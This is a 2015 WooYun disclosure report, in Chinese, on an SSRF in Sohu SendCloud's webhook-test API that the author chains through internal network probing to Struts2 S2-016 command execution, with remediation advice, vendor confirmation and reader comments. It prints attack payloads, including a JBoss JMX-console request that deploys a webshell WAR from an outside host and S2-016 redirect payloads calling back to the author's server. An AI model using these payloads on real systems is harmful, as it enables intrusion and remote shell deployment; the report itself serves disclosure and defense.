搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行

漏洞概要

缺陷编号:WooYun-2015-0129588

漏洞标题:搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行

相关厂商:搜狐

漏洞作者:Wulala

提交时间:2015-07-27 08:12

公开时间:2015-09-10 09:52

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

搜狐某云服务API接口SSRF仅当HTTP响应码为200时,Response: success
看我一步两步/一步两/摩擦摩擦,手工盲打到Struts2漏洞.求^授精^ ^授精^ 啊!!!

详细说明:

Target:http://sendcloud.sohu.com/ 专业的邮件服务商1. WebHook测试 http://sendcloud.sohu.com/doc/test/webhook.html看到这个功能, 自然想到了SSRF

2. SSRF 小试牛刀这个接口返回的信息比较少,仅只有服务器正确的响应HTTP请求&HTTP 响应码为200时返回: test success , 其他情况都只会返回 test failed

3. SSRF测试之内网信息收集--3.1 内网IP收集来源(因为不想大规模的测试,刚开始仅收集了①和②)---- ① 子域名解析---- ② 我前两天发布的价值1rank的搜狐心脏滴血漏洞中包含内网地址 http://wooyun.org/bugs/wooyun-2015-0129228---- ③ Wooyun翻阅和搜狐相关的漏洞信息--3.2 收集成果---- 获取到6个私有IP段/*****.**.22.116**.**.150.105**.**.156.64**.**.35.65***.***.44.143***.***.99.145****/4. SSRF测试之测试验证用上面的IP信息进行测试,结果如下:

5. SSRF 扩展验证--5.1 file:/// 文件读取这里测试file:///其实没任何意义,因为没有Response内容. 这里只是习惯性测试,而且能够更好了解程序内部的运行状态

--5.2 测试非HTTP协议(SSH,Mysql)因为文档说明了,仅对 正确响应200的HTTP返回 Success. 而且没有任何Response内容,这里我对HTTP的响应做一个时间统计,看通过时间是否能够有所发现.一下均通过多次请求,统计的平均范围①测试正常响应的HTTP端口( >=0.36s)

②测试无法响应的HTTP端口( 0.22 < time < 0.25)

③测试无法响应非HTTP协议端口port1 ( 0.22 < time < 0.26)

④测试SSH和Mysql端口(0.22 < time < 0.27)

结论: 通过②和③可知,对于关闭的端口响应时间为0.22到0.27之间, 所以我们针对其他端口的存活判断,只要某个主机的端口响应时间不在这个区间即可判定. 但是很遗憾通过对多个主机的SSH端口进行请求, 响应时间均在0.22 到 0.27之间. 所以这里不能扫描费HTTP协议的端口6. SSRF漏洞利用玩进去了,所以深入试试呗. 通过上面的测试, 这个SSRF只能GET HTTP响应,并且只有当HTTP Response 200时,返回Success 其他返回Failed. 而且后台是有一定的过滤机制的.--6.1攻击利用一: JBOSS我首选JBOSS, 一是对JBOSS的攻击利用相对熟悉, 而是, JBOSS的攻击利用只需要GET即可部署远程shell. 同时获取服务器的IP地址和webshell.POC: /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fwebshell.war----6.1.1 SSRF 自动化测试(脚本贴在漏洞证明了)这里我写了2个简单的脚本,sohussrf.py 主要是通过ssrf获取开放http协议的服务器.sohuurl.py, 主要是读取开放http的服务器,GET指定的URL.----6.1.2 JBOSS 指纹识别通过对获取到的HTTP服务器,分别GET /jmx/console/ /invoker/JMXInvokerServlet /a1b2c3 对于成功返回200即 success的服务器统计.

----6.1.3 JBOSS结果分析通过上图可以看到,对于这三种请求返回67行一致的数据,证明我所扫描的这6个段不存在受影响的JBOSS服务器----6.1.4 何去何从对于这种结果也是有预计的,因为翻阅wooyun上关于搜狐的漏洞.压根就没有和JBOSS相关的.而且GOOGLE Hack了一下, 也没发现搜狐和JBOSS的一些东东. 所以转个战场吧. 其实这里可以对整个内网进行远程Payload扫描直接部署Webshell, 而我们只需看我服务器的 ACCESS.log就可以知道哪些被成功部署. 但那样做事绝对不行的.--6.2攻击利用二:Struts2 S2-016漏洞----6.2.1 Struts指纹识别通过和6.1.2的方法一样,统计了一下使用Struts2的服务器(这里使用上面随机GET的统计方法,的肯定是使用strusts的服务器)

----6.2.2 Struts POC检测POC: /action?action?:%25{3*4}通过和随机GET的结果进行统计. 也没有任何收货. 按照道理不应该,因为下文中我们确实寻找到了存在Struts漏洞的主机.

----6.2.3 Struts漏洞 呼之欲出心有不甘, Wooyun上关于搜狐的Struts也不少,难道这6个内网段真没有. 换个角度.Struts漏洞玩的不多, 所以分析了一下,发下一个更好的POC,这个POC更好.POC:/action?action?redirect:http://我的服务器如果从我的服务器端接收来自 搜狐sendcloud服务器的请求, 那么肯定存在S2-016的漏洞修改脚本重新跑了一下,成功收到一条请求.

上面的来源IP 220.181.19.9 来自 (北京市 南三环洋桥电信机房 电信),直接访问就是搜狐sendcloud. 回过头来想想为什么6.2.2统计的方法不行能, 因为这样的POC 返回不再是success, 如下图.

----6.2.4 总结6.2.2和6.2.3提供了两种方法,其实这两种方法都是可行的,至于在我这个环境中,因为sendcloud服务器跳转到我的服务器,而我这边返回403,所以造成方法一失效了.7. Struts漏洞利用有了Struts漏洞, 利用的手段就很多了. 简单测试了一下:

服务器执行了吗? 我们不知道. 有什么办法可以知道吗? 根据POC/action?action?redirect:%25{3*4} 我们将POC改造一下: /action?action?redirect:http://SERVER/%25{3*4}. 通过搭建环境实验OK,可以在服务器接收到 [email protected], 证明此命令已经执行. 那我们在搜狐的服务器运行, 如下图:

8. 明天起来搬砖去了, 得要睡了.

漏洞证明:

sohussrf.py

sohuurl.py

脚本根据需要不断的有所更改, 基本就这个样.

修复方案:

引自Wooyun Wiki1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。[符合]2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。[符合]3.限制请求的端口为http常用的端口,比如,80、443、8080、8090。[符合]4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。[不符合]5.禁用不需要的协议。仅仅允许http和https请求。[符合]说明:以上测试,只在6个私网段进行测试, 同时未采用任何对业务有影响的测试.

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 09:51

厂商回复:

感谢你对搜狐安全的支持。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 scanf 白帽子 | Rank:1161 漏洞数:100)

    叼叼

  2. 2010-01-01 00:00 Wulala 白帽子 | Rank:201 漏洞数:17)

    @scanf 都是很大牛们学的.

  3. 2010-01-01 00:00 Wulala 白帽子 | Rank:201 漏洞数:17)

    @疯狗 习惯性的将struts打错了, 已修正. 重新审核一下吧, 要闹笑话了. 辛苦 审核大大Le.

  4. 2010-01-01 00:00 _Thorns 白帽子 | Rank:796 漏洞数:60)

    叼叼

  5. 2010-01-01 00:00 冰海 白帽子 | Rank:70 漏洞数:5)

    赞一个!

  6. 2010-01-01 00:00 金枪银矛小霸王 白帽子 | Rank:93 漏洞数:8)

    叼叼

  7. 2010-01-01 00:00 Wulala 白帽子 | Rank:201 漏洞数:17)

    ---6.2.2 Struts POC检测
    中使用: POC: /action?action?:%25{3*4}是可以的, 但是使用 POC: /action?redirect:%25{3*4}进行统计,因为我服务器返回403所以造成统计方法失效,文中统计的方式是使用第二种,特此说明一下.

  8. 2010-01-01 00:00 Wulala 白帽子 | Rank:201 漏洞数:17)

    @Wulala POC: /action?redirect:http://SERVER/%25{3*4} 脚本使用了这个POC,是造成这个统计方法失效的原因.

  9. 2010-01-01 00:00 _Evil 白帽子 | Rank:376 漏洞数:52)

    shellshock 哥们你可以用xmlhttp发这个去Fuzz下.

  10. 2010-01-01 00:00 qhwlpg 白帽子 | Rank:141 漏洞数:13)

    精彩啊

  11. 2010-01-01 00:00 疯狗 白帽子 | Rank:22 漏洞数:2)

    @Wulala 希望洞主能接受这迟来的精华,这个漏洞分析非常棒!

  12. 2010-01-01 00:00 Wulala 白帽子 | Rank:201 漏洞数:17)

    @疯狗 这个洞很多知识也是从乌云学习拓展的,这个漏洞从发掘到总结也费了不少的时间, 谢谢狗哥给的肯定. 乌云是一个让人不断成长的社区.

  13. 2010-01-01 00:00 疯狗 白帽子 | Rank:22 漏洞数:2)

    @Wulala 一起学习成长:P

  14. 2010-01-01 00:00 xk0n 白帽子 | Rank:6 漏洞数:1)

    确实精彩,收藏了~

  15. 2010-01-01 00:00 Rainism 白帽子 | Rank:10 漏洞数:1)

  16. 2010-01-01 00:00 sOnsec 白帽子 | Rank:61 漏洞数:7)

    PPP

  17. 2010-01-01 00:00 xy0er 白帽子 | Rank:20 漏洞数:1)

    这漏洞真的是叼叼,张见识了。

  18. 2010-01-01 00:00 _Thorns 白帽子 | Rank:796 漏洞数:60)

    真的是涨姿势啦。学习了

  19. 2010-01-01 00:00 zkk 白帽子 | Rank:0 漏洞数:0)

    精彩~收藏啦